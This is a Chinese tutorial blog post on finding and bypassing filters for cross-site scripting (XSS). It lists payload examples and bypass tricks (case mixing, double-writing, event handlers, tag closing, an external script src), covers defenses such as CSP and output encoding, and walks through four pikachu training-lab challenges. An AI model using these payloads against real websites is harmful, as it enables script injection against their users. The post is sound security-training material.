Web漏洞-XSS绕过和pikachu靶场4个场景(三)

news2025/1/17 0:55:49

★★实战前置声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

1、XSS漏洞挖掘与绕过

1.1、XSS漏洞挖掘

数据交互(输入/输出)的地方最容易产生跨站脚本,最重要的是考虑输入、输出在什么地方。一般常会对网站的输入框、URL参数、COOKIE、POST表单、HTTP头内容进行测试。

1.2、手工测试XSS步骤

1、找到测试点,比如搜索框、留言板。

2、根据测试流程首先实验一些特殊符号的输入,发现可以正常输出,说明后端并没有进行相关的过滤。比如:'<>?"&/6666

3、如果有过滤则进行相关的绕过。

1.3、XSS常见POC

常见XSS语句<script>标签

<script>alert(1)</script>
<script src=http://baidu.cn/xss/xss.js></script>
'><script>alert(1)</script>

常见XSS语句<img>标签

<img src=x onerror=alert(/xss/)>
<img src=javascript:alert(1)> //版本,E7.0|IE6.0,才能执行  
<img src=# onmouseover="alert(1)">

常见XSS语句<a>标签

"> <a href=javascript:alert('xss') > xss</a>
"> <a href="" οnclick="alert(1)"> xss</a>
1.4、XSS漏洞绕过方法
// 1.大小写绕过
<ScRiPt>alert(1)</ScRiPt>
// 2.双写绕过
<sc<script>ript>alert(/xss/)</script>
// 3.反引号绕过
`` 绕过单双引号的过滤
// 4.关闭标签(利用<>关闭标签)
"> <script>alert(1)</script>
// 5.超链接标签
< a href= > 1 </ a>
// 6.图片链接绕过
< img src=1 onerror=alert(1)>
// 7.编码绕过
-- 八进制、十进制、十六进制编码、html实体编码、url编码、base64等   
// 8.空格、回车、换行符、tab、混淆

2、XSS漏洞防御

2.1、CSP内容安全策略

CSP全称:Content Security Policy,内容安全策略:禁止加载外域代码,防止复杂的攻击逻辑;禁止外域提交,网站被攻击后,用户数据不会泄露到外域;禁止内联脚本执行(规则较严格);禁止未授权的脚本执行。

2.2、设置HttpOnly

通过设置HttpOnly防止cookie被窃取

2.3、输入输出检查

前端js和后端(php)完善的过滤机制:输入验证和输出编码。也可以做硬件防护:WAF和数据库安全等。

< 转成&lt;
> 转成&gt;       
& 转成&amp    
" 转成&quot
' 转成&#39
2.4、白名单或者黑名单

白名单验证:检查用户提交的数据,只接受指定长度范围内,适当格式和预期字符的输入,其余一律过滤。

黑名单验证:过滤包含XSS代码特征的内容,比如:<、 >、script、#

3、pikachu靶场4个场景实验

3.0、总体思路说明

先随便填写提交,看界面展示数据,右击查看页面源码数据是与回显一样,然后根据数据结构确定构建poc提交验证。

测试验证内容

'<>?"&/6666
3.1、xss之过滤
3.1.1、正常操作

输入’<>?"&/6666,发现显示有点奇怪,按F12看源码发现内容回显,被单引号包起来,界面显示如下:

在这里插入图片描述

3.1.2、查看源码

输入如下内容,按F2看源码,发现输入的内容script标签的内容全部被过滤掉了

我测试一下'<script>alert(1)</script>

在这里插入图片描述

3.1.3、确定攻击poc

以下是验证通过的poc

<ScRiPt>alert(1)</ScRiPt>
<svg onload=alert(1)>
<body onload=alert(1)>
<input type=image src=1 onerror=alert(1)>

在这里插入图片描述

3.2、xss之htmlspecialchars
3.2.1、正常操作

输入’<>?"&/6666,界面显示如下:

在这里插入图片描述

3.2.2、查看源码

查看源码,发现输入的内容,是填充在a标签的href和标签内,有被编码过的,href是用单引号的。

在这里插入图片描述

3.2.3、确定攻击poc

攻击poc就可以采用a标签弹窗方式的语句了

<a href=javascript:alert('xss') > xss</a>

注意:只取href里面的部分,且alert()的内容需要用双引号,或者用数字的方式。

验证成功的poc

javascript:alert("test")
javascript:alert(123)

在这里插入图片描述

3.3、xss之href输出
3.3.1、正常操作

输入’<>?"&/6666,界面显示如下:

在这里插入图片描述

3.3.2、查看源码

查看源码,发现输入的内容,是填充在a标签的href内,没有被编码过的。

3.3.3、确定攻击poc

攻击poc就可以采用a标签弹窗方式的语句了

<a href=javascript:alert('xss') > xss</a>

注意:只取href里面的部分,且alert()的内容用单/双引号都可,或者用数字的方式。

验证成功的poc

javascript:alert('test')
javascript:alert("test")
javascript:alert(123)

在这里插入图片描述

3.4、xss之js输出
3.4.1、正常操作

输入’<>?"&/6666,不显示任何东西,换成123尝试,界面显示如下:

在这里插入图片描述

3.4.2、查看源码

根据上面显示的内容,定位到p标签有一个id=“fromjs”,尝试搜索关键字:fromjs,发现页面有一段javascript代码,因此采用尝试闭合标签的方式。

在这里插入图片描述

3.4.3、确定攻击poc

验证成功的poc

</script><script>alert(1)</script>
</script><svg onload=alert(1)>
</script><img src=1 onerror=alert(1)>

在这里插入图片描述

4、总结

本文是Web漏洞-XSS攻击的第三篇,至此XSS攻击相关内容就告一段落。当时在做pikachu靶场实验【XSS之js输出】时完全没有头绪,前面9个实验的POC都无效,后来问了我的老师给我提示,查看源码了尝试闭合标签的方式,就瞬间明白了。有时知道一个知识点,到实际运用还是会懵,因此需要多练。与大家共勉。

后面会有CSRF、SSRF,SQL注入等内容的分享,其中SQL注入内容会比较多。还有一些PHP,Python编程的基础知识,如果大家感兴趣的话,可以留言反馈,我再整理出来分享也可以。

5、资料获取

靶场环境搭建请参考《靶场环境搭建【XP、pikachu、dvwa、sqli-labs】》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1287411.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Leetcode刷题笔记题解(C++):LCR 021. 删除链表的倒数第 N 个结点

思路&#xff1a;用双指针去遍历链表&#xff0c;删除left的下一个节点&#xff0c;注意的是n大于等于链表长度即删除第一个节点 /*** Definition for singly-linked list.* struct ListNode {* int val;* ListNode *next;* ListNode() : val(0), next(nullptr) {…

设计模式——七大设计原则

设计模式——七大设计原则 1、单一职责原则&#xff08;SRP&#xff09;2、开放封闭原则&#xff08;OCP&#xff09;3、依赖倒转原则&#xff08;DIP&#xff09;4、里氏替换原则 (LSP)5、接口隔离原则 (ISP)6、合成/聚合复用原则 (CARP)7、迪米特法则 (LoD) 了解 设计模式 的…

bootstrap中的图标元素可以免费使用

Available glyphsIncludes over 250 glyphs in font format from the Glyphicon Halflings set. Glyphicon 网址如下&#xff1a; Components Bootstrap

17.认识下Docker之docker的核心原理(2)

1.容器-我的小世界 不知道大家看没看过小说《完美时间》&#xff0c;里面石昊经常进入一个小世界在里面与世隔绝的修炼或者战斗&#xff0c;总之就是在一个完全封闭的空间里做他想做的事情而与外界隔离&#xff0c;不受侵扰。通过前面的分析我们知道&#xff0c;Namepace让应用…

【代码随想录】算法训练计划39

dp 1、62. 不同路径 题目&#xff1a; 求路径方案多少个 思路&#xff1a; 这道题就有点dp了哈 func uniquePaths(m int, n int) int {//dp&#xff0c;写过,代表的是多少种// 初始化dp : make([][]int, m)for i : range dp {dp[i] make([]int, n)dp[i][0] 1 // 代表到…

【5】PyQt按钮

QPushButton 常见的按钮实现类包括:QPushButton、QRadioButton和QCheckBox QPushButton是最普通的按钮控件&#xff0c;可以响应一些用户的事件 from PyQt5.QtWidgets import QApplication, QWidget, QPushButton import sysdef func():print("按下按钮啦&#xff0c;火…

MPC模型预测控制理论与实践

一、基本概念 最有控制的动机是在约束条件下达到最优的系统表现。 模型预测控制&#xff08;MPC&#xff0c;Model Predictive Control&#xff09;是通过模型来预测系统在某一未来时间段内的表现来进行优化控制&#xff0c;多用于数位控制&#xff0c;通常用离散型状态空间表…

随机链表的复制[中等]

优质博文&#xff1a;IT-BLOG-CN 一、题目 给你一个长度为n的链表&#xff0c;每个节点包含一个额外增加的随机指针random&#xff0c;该指针可以指向链表中的任何节点或空节点。构造这个链表的深拷贝。深拷贝应该正好由n个全新节点组成&#xff0c;其中每个新节点的值都设为…

【论文笔记】A Transformer-based Approach for Source Code Summarization

A Transformer-based Approach for Source Code Summarization 1. Introduction2. Approach2.1 ArchitectureSelf-AttentionCopy Attention 2.2 Position Representations编码绝对位置编码成对关系 1. Introduction 生成描述程序功能的可读摘要称为源代码摘要。在此任务中&…

C++ day55 判断子序列 不同的子序列

题目1&#xff1a;392 判断子序列 题目链接&#xff1a;判断子序列 对题目的理解 判断字符串s是否为t的子序列 字符串s和字符串t的长度大于等于0&#xff0c;字符串s的长度小于等于字符串t的长度&#xff0c;本题其实和最长公共子序列的那道题很相似&#xff0c;相当于找两…

面试就是这么简单,offer拿到手软(四)—— 常见java152道基础面试题

面试就是这么简单&#xff0c;offer拿到手软&#xff08;一&#xff09;—— 常见非技术问题回答思路 面试就是这么简单&#xff0c;offer拿到手软&#xff08;二&#xff09;—— 常见65道非技术面试问题 面试就是这么简单&#xff0c;offer拿到手软&#xff08;三&#xff…

【数据结构(七)】查找算法

文章目录 查找算法介绍1. 线性查找算法2. 二分查找算法2.1. 思路分析2.2. 代码实现2.3. 功能拓展 3. 插值查找算法3.1. 前言3.2. 相关概念3.3. 实例应用 4. 斐波那契(黄金分割法)查找算法4.1. 斐波那契(黄金分割法)原理4.2. 实例应用 查找算法介绍 在 java 中&#xff0c;我们…

【Midjourney实战】| 新年礼盒元素设计

文章目录 1 初步提示词2 润色提示词3 提示词发散联想 这期实践任务&#xff0c;我们想去做一个新年礼盒的效果&#xff0c;最后我们想把不同元素拼在一起&#xff0c;方便后期进行新年的相关设计 1 初步提示词 提示词初步我们乍一想&#xff0c;肯定要包括主体元素礼盒 新年礼…

APOLLO自动驾驶技术沙龙:未来已来,共创智能交通新时代

在这次Apollo会议上&#xff0c;我深刻地感受到了人工智能自动驾驶技术领域的最新进展和未来趋势。作为一名从事软件开发工作的人员&#xff0c;我深感荣幸能够参加这次盛会。 前言 本次活动是百度Apollo社区工程师齐聚首钢Park&#xff0c;带来现场实操与技术分享。主要围绕Ap…

好用的挂耳式蓝牙耳机有哪些?四款好用高性价比的耳机推荐

随着生活节奏的加快&#xff0c;挂耳式蓝牙耳机真的是越来越不可或缺了&#xff0c;不管是坐地铁、步行还是运动&#xff0c;一副好用的挂耳式蓝牙耳机都能让你感觉自己像是生活里的主角。但市面上的选择实在是太多了&#xff0c;简直让人眼花缭乱&#xff0c;不过我找了四款真…

仓库管理系统【GUI/Swing+MySQL】(Java课设)

系统类型 Swing窗口类型Mysql数据库存储数据 使用范围 适合作为Java课设&#xff01;&#xff01;&#xff01; 部署环境 jdk1.8Mysql8.0Idea或eclipsejdbc 运行效果 本系统源码地址&#xff1a; 更多系统资源库地址&#xff1a;更多Java课设系统 更多系统运行效果展示…

很全面 影响无人机自动返航的因素总结

在无人机技术不断成熟的今天&#xff0c;自主返航技术成为保障飞行安全的一种重要工具。无人机在多种情况下能够智能判断&#xff0c;主动实施返航动作&#xff0c;为用户提供更加可靠的飞行保障。以下是一些常见的无人机自动返航场景&#xff0c;让我们深入了解这项技术背后的…

玩转数据8:数据质量管理与数据清洗的实践

引言 在当今数字化时代&#xff0c;数据质量管理和数据清洗对于企业和组织来说变得至关重要。随着大数据的快速增长和数据驱动决策的普及&#xff0c;确保数据的准确性、一致性和完整性成为保证业务成功的关键因素。本文将探讨数据质量管理和数据清洗的概念、目标以及其在Java…

U-Net网络模型改进(添加通道与空间注意力机制)---亲测有效,指标提升

U-Net网络模型&#xff08;注意力改进版本&#xff09; 这一段时间做项目用到了U-Net网络模型&#xff0c;但是原始的U-Net网络还有很大的改良空间&#xff0c;在卷积下采样的过程中加入了通道注意力和空间注意力 。 常规的U-net模型如下图&#xff1a; 红色箭头为可以添加的…

电表峰谷平是怎么分时间的?

电表的峰谷平时间是指电力公司根据电力需求的不同&#xff0c;将一天的时间划分为不同的时段&#xff0c;以此来确定不同时间段内的电费价格。这种不同时段对应不同电费价格的制度&#xff0c;旨在更好地平衡电力供需&#xff0c;促进能源的高效利用。 首先&#xff0c;我们来了…